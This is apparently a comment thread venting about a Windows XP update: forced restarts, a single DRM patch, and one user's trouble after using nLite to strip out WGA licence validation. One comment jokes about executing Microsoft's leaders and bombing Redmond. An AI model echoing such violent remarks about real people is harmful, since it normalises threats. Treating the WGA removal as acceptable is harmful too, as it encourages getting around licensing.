so this is the update that waited till i was sleeping and in the middle of downloading a 4 gig file!!! which off course with all windows updates it forces your computer to restart!!!! so when i woke up i was greeted with a restarted computer and an incomplete download…

Microsoft need to get rid of the forced restart with its updates!

You know when windows tuesday’s monthly fixes come around I am usually looking at 5 or 6 security fixes. What do winxp users get instead? 1 damn patch for this problem with drm bug that shipped with windows 6 years ago. WOW!! Way to help out the users.. out of all the problems with windows they give us 1 patch for some useless drm problem.

@15 – A very useful site, better then windows update and faster also.

I can’t use windows expolorer for some reason after I nlited my OS. I will have to figure out what I did wrong, but it has to do with the slipstreaming of the latest 7.0 release that removes the wga.

IMHO there is still a critical flaw.
No one has executed Bill, Steve, and the developers yet.

Maybe Santa will bomb Redmond for Christmas?

At times, I do wonder if all these critical updates which are not needed for the newest OS really exist?
